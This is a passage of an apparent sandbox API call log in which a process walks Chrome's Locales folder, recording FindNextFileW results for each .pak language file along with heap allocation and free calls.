ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x72286, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa.pak", cAlternateFileName="")) returned 1 [0087.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc3e8 [0087.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1309610 [0087.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.846] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfed44132, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4b6ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi.pak", cAlternateFileName="")) returned 1 [0087.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc408 [0087.848] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfed72775, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51c09, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil.pak", cAlternateFileName="")) returned 1 [0087.848] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfed97174, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x55a6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr.pak", cAlternateFileName="")) returned 1 [0087.848] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfedd1b0c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x9f1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="gu.pak", cAlternateFileName="")) returned 1 [0087.848] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfee07682, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5df23, dwReserved0=0x0, dwReserved1=0x0, cFileName="he.pak", cAlternateFileName="")) returned 1 [0087.848] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfee383d6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xa3281, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi.pak", cAlternateFileName="")) returned 1 [0087.848] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfee6df4c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4bc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr.pak", cAlternateFileName="")) returned 1 [0087.848] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfee9505c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x54a87, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu.pak", cAlternateFileName="")) returned 1 [0087.848] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeebe87d, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x47e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="id.pak", cAlternateFileName="")) returned 1 [0087.848] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeee598d, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4e532, dwReserved0=0x0, dwReserved1=0x0, cFileName="it.pak", cAlternateFileName="")) returned 1 [0087.848] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfef118bf, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5f8fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja.pak", cAlternateFileName="")) returned 1 [0087.848] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfef3ff02, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xb6beb, dwReserved0=0x0, dwReserved1=0x0, cFileName="kn.pak", cAlternateFileName="")) returned 1 [0087.848] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfef67012, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x50b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko.pak", cAlternateFileName="")) returned 1 [0087.848] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfef95655, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt.pak", cAlternateFileName="")) returned 1 [0087.848] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfefd4e0f, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51fd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeffe630, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xccccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff0341a6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xa1beb, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff03ddea, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x3e2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff069d1c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x487e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff08c00a, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4d450, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff0b7f3c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x500e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff0e3e6e, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4e63d, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff10fda0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4f596, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff13208e, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51b03, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff162de2, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x7e47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff18ed14, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5402d, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff1b1002, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4bb7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff1d8112, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x79e3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff206755, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x496bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff22d865, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x44b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="sw.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff25bea8, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xbcd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ta.pak", cAlternateFileName="")) returned 1 [0087.849] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff298f51, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xb0b7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="te.pak", cAlternateFileName="")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff2c4e83, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x9efb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="th.pak", cAlternateFileName="")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff2f0db5, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4f508, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr.pak", cAlternateFileName="")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff31cce7, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x7e1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk.pak", cAlternateFileName="")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff343df7, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5af42, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi.pak", cAlternateFileName="")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3687f6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4217c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN.pak", cAlternateFileName="")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff394728, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x42194, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW.pak", cAlternateFileName="")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff394728, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x42194, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW.pak", cAlternateFileName="")) returned 0 [0087.850] GetLastError () returned 0x12 [0087.850] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0087.850] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeae1a98, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x6f4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="am.pak", cAlternateFileName="")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeb0b2b9, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x6df65, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar.pak", cAlternateFileName="")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeb34ada, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x84ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg.pak", cAlternateFileName="")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x2e9080, 